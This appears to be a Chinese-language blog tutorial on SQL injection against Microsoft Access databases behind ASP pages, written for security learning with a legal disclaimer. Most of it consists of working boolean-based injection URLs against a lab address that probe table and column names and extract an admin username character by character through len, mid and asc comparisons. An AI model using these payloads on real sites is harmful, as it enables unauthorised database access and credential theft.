WEB安全之:Access 数据库 SQL 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Access 是由微软发布的关系数据库管理系统。

  • Access 数据库属于文件型数据库,没有端口号,也没有注释符号。

1 Access 数据库 SQL 注入基础知识

  • 数据库后缀名:在 Office 2007 之前 .mdb ,Office2007 及其之后 .accdb

1.1 Access 注入常用语句及函数

# 查询给定字符串的长度
len("string")

# 查询给定字符串的 ascii 值
asc("a")

# 查询前 n 条记录
top  n

# 查询给定字符串从指定索引开始的长度
mid("string",2,1)

1.2 Access 中的 msysobjects

Access 数据库特有的表是:msysobjects ,可以用它来判断是否是Access 数据库

exists(select * from msysobjects)

2 Access 查询信息

2.1 exists () 布尔型注入查询方法

2.1.1 查询表名

原理:

  • 利用 and exists (select * from tablename) 函数配合 SQL 查询语句查询表名是否存在。存在返回为 True ,反之为 False

示例

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
例:利用 exists (select * from tablename) 查询表名称,若表存在正常显示页面;反之,表不存在。
http://192.168.100.135/index.asp?ID=4 and exists (select * from admin)

2.1.2 查询表字段名称

原理

  • 利用 and exists (select para1,para2 from tablename) 查询表字段名称是否存在。
# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
http://192.168.100.135/index.asp?ID=4 and exists (select username from admin)

2.1.3 猜测表数据长度

原理

  • 确定所要猜测数据位置,Access 下使用 len(字段名称) 函数与所猜测长度做 = 相等运算,长度猜测正确为真,正常打印页面。(也可以使用 ><)

示例

# 针对 Access 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.135/index.asp?ID=4 and (select top 1 len(username) from admin)=8

2.1.4 查询字段数据

2.1.4.1 逐字猜解法

配合二分法猜解效果更佳哦

原理

  • mid() 函数:用于从文本字段中提取字符

    SELECT MID(column_name,start[,length]) FROM table_name
    # column_name:必需。要提取字符的字段
    # start:必需。规定开始位置(起始值是 1)
    # length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
    
  • asc(str) 函数:不能查询中文字符

    # str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
    # str 为空字符串,返回 0
    # str 为NULL,返回 NULL
    # 注:asc() 返回数值是从 0 到 255
    
  • 查询出所有字符的 ASCII 码后进行拼接,得到完整数据

示例:

# 针对 Access 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
1. 二分法
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,1,1)) from admin)>97

2. 逐字猜解,配合 Burp Suit
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,1,1)) from admin)=97
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,2,1)) from admin)=100
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,3,1)) from admin)=109
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,4,1)) from admin)=105
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,5,1)) from admin)=110

3 推荐资料

整理比较全的Access SQL注入参考_安全教程_脚本之家 (jb51.net)

posted @ 2021-06-09 13:09  f_carey  阅读(12)  评论(0编辑  收藏  举报  来源